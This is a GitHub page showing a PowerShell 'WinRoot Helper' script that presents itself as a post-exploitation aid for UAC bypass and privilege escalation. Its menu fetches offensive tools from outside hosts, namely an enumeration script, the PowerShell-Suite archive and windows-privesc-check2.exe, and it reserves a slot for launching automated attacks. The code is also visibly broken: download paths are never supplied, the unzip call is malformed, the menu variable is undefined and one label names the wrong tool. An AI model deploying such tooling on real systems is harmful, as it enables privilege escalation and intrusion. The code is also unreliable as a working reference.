-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathwinroot.ps1
233 lines (191 loc) · 6.6 KB
/
winroot.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
#____ ____ __
#\ \ / /____ _____/ |_ ___________
# \ Y // __ \_/ ___\ __\/ _ \_ __ \
# \ /\ ___/\ \___| | ( <_> ) | \/
# \___/ \___ >\___ >__| \____/|__|
# \/ \/
#--Licensed under GNU AGPL 3
#----Authored by Vector/NullArray for GS
#------For further Open Source Development
###############################################
# Allows user to skip straight to the download menu
Param (
[Parameter(ValueFromPipelineByPropertyName)]
[switch]$SupressNoise = $false)
$lines="------------------------------------------"
function WriteLogo($a) {
Write-Host
Write-Host -ForegroundColor White $lines
Write-Host -ForegroundColor Green " "$a
Write-Host -ForegroundColor White $lines
}
function ExtraInfo($b) {
Write-Host
Write-Host -ForegroundColor Green " "$b
}
if ($SupressNoise -eq $False) {
WriteLogo "
_ _ _ _ _____ _
| | | |_|___| __ |___ ___| |_
| | | | | | -| . | . | _|
|_____|_|_|_|__|__|___|___|_|
_____ _
| | |___| |___ ___ ___
| | -_| | . | -_| _|
|__|__|___|_| _|___|_|
|_| "
}
if ($SupressNoise -eq $False) {
ExtraInfo "
Welcome to the main WinRoot Helper script.
As a (post)exploitation utility, WinRoot-
Helper is designed to provide easy access
to some tools and resources that
may assist in UAC bypass and Privilege
Escalation.
This script is designed to automate a number
of OffSec Operations aimed at Priv-Esc and
Post-Exploitation.
This is an Alpha release, more features
are planned to be developed in an
open Source capacity.
"
}
function unzip {
param (
[string]$archiveFilePath,
[string]$destinationPath
)
if ($archiveFilePath -notlike '?:\*') {
$archiveFilePath = [System.IO.Path]::Combine($PWD, $archiveFilePath)
}
if ($destinationPath -notlike '?:\*') {
$destinationPath = [System.IO.Path]::Combine($PWD, $destinationPath)
}
Add-Type -AssemblyName System.IO.Compression
Add-Type -AssemblyName System.IO.Compression.FileSystem
$archiveFile = [System.IO.File]::Open($archiveFilePath, [System.IO.FileMode]::Open)
$archive = [System.IO.Compression.ZipArchive]::new($archiveFile)
if (Test-Path $destinationPath) {
foreach ($item in $archive.Entries) {
$destinationItemPath = [System.IO.Path]::Combine($destinationPath, $item.FullName)
if ($destinationItemPath -like '*/') {
New-Item $destinationItemPath -Force -ItemType Directory > $null
} else {
New-Item $destinationItemPath -Force -ItemType File > $null
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($item, $destinationItemPath, $true)
}
}
} else {
[System.IO.Compression.ZipFileExtensions]::ExtractToDirectory($archive, $destinationPath)
}
}
Function Download {
[cmdletbinding()]
Param(
[Parameter(Mandatory = $true, ParameterSetName='-U')]
# Source file param
[ValidateNotNullOrEmpty()]
[Alias('WSF')]
[string]$WebSourceFile,
[Parameter(Mandatory = $true, ParameterSetName='-P')]
# File path Param
[ValidateNotNullOrEmpty()]
[Alias('DFP')]
[IO.FileInfo]$DownloadFilePath)
Begin {
$DownloadLocation = Set-Location
$WebClient = New-Object System.Net.WebClient
If (Test-Path -Path $DownloadLocation){
Write-Host "Output set to: $DownloadLocation"
Write-Host
}
Else {
Write-Host -ForegroundColor Red "[!]Invalid Path: $DownloadLocation"
Write-Host
Break
}
}
Process {
Try {
Write-Host 'Downloading file...'
Write-Host
$WebClient.DownloadFile($WebSourceFile, $DownloadFilePath)
}
Catch {
Write-Host -ForegroundColor Red "[!]Warning, an error occurred: $_"
Write-Host
Break
}
}
End {}
}
Function Invoke-Menu {
[cmdletbinding()]
Param(
[Parameter(Position=0,Mandatory=$True,HelpMessage="Please enter your choice")]
[ValidateNotNullOrEmpty()]
[string]$Menu,
[Parameter(Position=1)]
[ValidateNotNullOrEmpty()]
[string]$Title = "WinRootHelper",
[Alias("cls")]
[switch]$ClearScreen)
#clear the screen if requested
if ($ClearScreen) {
Clear-Host
}
#build the menu prompt
$menuPrompt = $title
#add a return
$menuprompt+="`n"
#add an underline
$menuprompt+="-"*$title.Length
#add another return
$menuprompt+="`n"
#add the menu
$menuPrompt+=$menu
Read-Host -Prompt $menuprompt
} #end function
do {
#use a Switch construct to take action depending on what menu choice
#is selected.
Switch (Invoke-Menu -menu $menu -title "WinRootHelper" -clear) {
"1" {Write-Host "SysEnum Shell Script."
sleep -seconds 2
Download -WebSourceFile https://raw.githubusercontent.com/thereisnotime/xxSysInfo/master/xxSysInfo.bat -DownloadFilePath
sleep -milliseconds 1250
Clear-Host
Write-Host "Done"
}
"2" {Write-Host "PowerShell Security Suite"
sleep -seconds 2
Download -WebSourceFile https://github.com/FuzzySecurity/PowerShell-Suite/archive/master.zip -DownloadFilePath
# Call Unzip function to extract helper scripts
unzip [[ -archiveFilePath "$DownloadFilePath/master.zip" ] [[-destinationPath] "$DownloadFilePath" ]]
sleep -milliseconds 1250
Clear-Host
Write-Host "Done"
}
"3" {Write-Host "Windows Exploit Suggester"
sleep -seconds 2
Download -WebSourceFile https://github.com/pentestmonkey/windows-privesc-check/raw/master/windows-privesc-check2.exe -DownloadFilePath
sleep -milliseconds 1250
Clear-Host
Write-Host
Write-Host "Done"
}
"4" {Write-Host "Launch Automated Probe/Attack"
#
# The current implementation reserves these lines for future additions
# In the form of operations that launch automated security tools
# In order to facilitate privilege escalation on the system in question
#
}
"Q" {Write-Host "Exit" -ForegroundColor Blue
Return
}
Default {Write-Warning "Invalid Choice. Try again."
sleep -milliseconds 750}
} #switch
} While ($True)